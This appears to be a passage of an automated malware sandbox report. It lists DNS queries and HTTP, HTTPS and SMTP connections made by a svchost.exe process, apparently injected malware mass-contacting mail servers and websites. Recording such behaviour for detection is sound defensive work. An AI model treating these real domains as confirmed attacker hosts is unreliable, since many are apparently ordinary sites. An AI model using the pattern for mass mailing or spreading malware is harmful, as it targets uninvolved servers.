Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 107.180.58.31 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.20.55.214 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: avse.hu
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.143.194.23 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.189.171.125 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.229.22.126 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: notis.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 5.39.75.157 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nts-web.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: willsub.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shesfit.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.74.161.133 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: multip.hu
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.226.70.66 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tcpoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 13.248.169.48 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dog-jog.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 37.59.243.164 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kamptal.at
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.19.254.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bd-style.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 216.177.137.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.163.45.187 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zupraha.cz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.30.14 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: muhr-soehne.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.30.60.158 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.99.226.184 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.180.178 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 88.86.118.82 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aiolos-sa.gr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gmail-smtp-in.l.google.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fdlymca.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: assideum.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bidroll.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.122.170.171 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: karmy.com.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vdoherty.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ncn.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 51.159.3.117 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: komie.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ftmobile.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.124.76.247 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: onzcda.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sledsport.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tbvlugus.nl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pellys.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.19.218.80 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: semuk.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tozzhin.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.96.252.188 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail.airmail.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: lyto.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: websy.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 106west.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ruzee.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.230.63.107 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.185.159.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nblewis.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amba-tc.si
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.185.159.144 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxs.mail.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: averwin.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 211.13.196.162 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 141.193.213.20 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: chzko.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: themark.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: clysma.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ossir.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 213.186.33.16 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: e-kami.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: scintel.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.230.93.218 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kewlmail.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: flamingorecordings.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: actmin.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bount.com.tw
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 75.2.70.75 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bosado.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pers.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 136.243.147.81 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mackusick.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: angework.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail7.digitalwaves.co.nz
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 151.101.130.159 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 92.42.191.40 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: reproar.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hes.pt
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 188.94.254.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 127.0.0.11 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 221.132.33.88 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: portoccd.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 162.241.233.114 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: avc.com.sa
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cnti.krsn.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.145.148 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.194.190.151 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 128.204.134.138 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.94.166.30 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ultibax.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dspears.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bggs.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: unicus.jp
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cyclad.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: clinicasanluis.com.co
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: michiana.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ludomemo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: umcor.am
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pccj.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ssm.ch
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wvs-net.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.fnw.us
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 108.170.12.50 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.205.126.33 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: adeesa.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.synetik.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.248.97.36 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sjbmw.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: strazynski.pl
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.120.34.73 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 173.231.184.124 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 157.7.107.38 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: amerifor.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gujarat.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ifesnet.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.29.72 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vfcindia.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aoinko.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cpwpb.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yoruksut.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 205.149.134.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rtcasey.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gydrozo.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: n23china.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hamaker.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sigtoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 133.125.38.187 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 89.161.136.188 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: refintl.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sidepath.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: listel.co.jp
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: karila.fr
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 15.197.142.173 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hyab.se
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: zemarmot.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 204.15.134.44 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.237.66.112 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: samtv.ro
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: calvinly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: techtrans.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kavram.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pcoyuncu.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: webavant.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 202.172.28.187 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: koz1.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yasuma.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.94.41.167 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 79.96.32.254 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 4locals.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.20.221.29 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: johnlyon.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 65.52.128.33 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.18.40.43 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.13 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 208.91.197.46 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: from30ty.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 46.8.8.200 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 194.76.27.77 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bigzz.by
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vonparis.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.160.0.179 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.10.34 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: x96.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: envogen.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nlcv.bas.bg
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: com-edit.fr
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 135.125.108.170 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: linac.co.uk
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 165.160.15.20 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: uster.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: noblesse.be
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 199.59.243.220 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bossinst.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: redgiga.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: absblast.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: someikan.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hubbikes.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: riwn.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: t-mould.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 199.59.243.224 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: toundo.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: geecl.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dbnet.at
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ktenergo.ru
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 91.220.211.163 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.diamir.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.130.146.206 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: juso-gr.ch
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.wnsavoy.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.196.145 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.157.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 31.177.76.70 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.129.138.60 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 62.75.216.107 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: midap.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smitko.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 80.82.115.227 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: yhsll.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: anteph.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hyab.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mikihan.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ramkome.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wahw.com.au
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 23.227.38.32 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 205.178.189.131 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kayoaiba.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: gbmfg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ccssinc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 27.0.174.59 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: t-trust.jp
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.209.32.212 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pro-fa.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.48.207 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: forbin.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cutchie.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: univi.it
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.230.155.43 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 3.64.163.50 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.live.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: grlawcc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 154.213.117.166 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.ex-olive.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 151.101.2.132 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.33.95 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.163.170.48 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: coxkitchensandbaths.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: invictus.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: holp-ai.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shittas.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: bible.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: missnue.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 203.137.75.45 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jsaps.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 153.126.211.112 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 217.160.0.131 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: haigh-me.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.49.23.144 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.243.77 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 83.223.113.46 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: canasil.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ldh.la.gov
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cpmteam.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kevyt.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: awfraser.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.128.196.22 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: s5w.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: in1.smtp.messagingengine.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: paraski.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: araax.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: adventist.ro
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 219.94.129.97 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 49.212.232.113 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 74.208.215.145 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: isom.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: any-s.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.36.175.146 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: piacton.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shztm.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ciicsc.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.spanesi.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: metaforacom.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 210.140.73.39 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dhh.la.gov
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cbras.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atbauk.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ymlp15.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vvsteknik.dk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: biosolve.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 203.0.113.0 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 208.100.26.245 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 216.239.32.21 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.250.27.26 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atis-sk.ca
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mackusick.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nekono.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cvswl.org
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 192.124.249.3 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cubodown.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: infotech.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.sbcglobal.yahoo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tabbles.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cqdgroup.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.muhr-soehne.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 63.251.106.25 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.189.68 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fortknox.bm
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 212.44.102.57 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: camamat.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ikulani.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: alexpope.biz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cjborden.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 95.174.22.233 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fundeo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.21.79.166 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: lpver.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.151.30.147 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: web-york.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 208.80.123.104 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.168.172.216 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sanfotek.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.photo4b.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 103.168.172.220 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fr-dat.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.172.94.1 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.128.140.29 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: beafin.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: stopllc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 159.89.244.183 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: dzm.cz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: oozkranj.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 204.11.56.48 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: arowines.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rast.se
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: hazmatt.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fifa-ews.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aba.org.eg
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wanoa.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shiner.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 219.94.128.87 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 82.208.6.9 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 93.187.206.66 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.reglera.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kustnara.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: msl-lock.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: apcotex.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: scip.org.uk
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.usadig.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.214.171.193 443
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 183.90.232.24 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 75.2.95.235 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: slower.it
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: okashimo.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.20.220.29 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 85.128.55.51 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: workplus.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: c-drop.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: awal.ws
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jnf.at
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: top1oil.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: at-shun.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cjcagent.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kumaden.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 81.169.145.175 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: daytonir.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: iranytu.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.42.105.162 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: banvari.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 178.249.70.75 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 45.142.176.225 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ccrsi.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: snf.it
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cbaben.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: anduran.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sinwal.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.219.100.19 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: likangds.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: h-et-l.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kursavto.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rkengg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: madjek.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wolffkran.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.jacomfg.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wnit.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ntc.edu.au
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: captlfix.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 172.67.129.18 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: popbook.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: acraloc.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 80.211.41.39 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: eos-i.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: revoldia.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: uhsa.edu.ag
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: atb-lit.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: skgm.ru
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pleszew.policja.gov.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: icd-host.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.212.145.129 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 13.56.33.8 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: burstner.ru
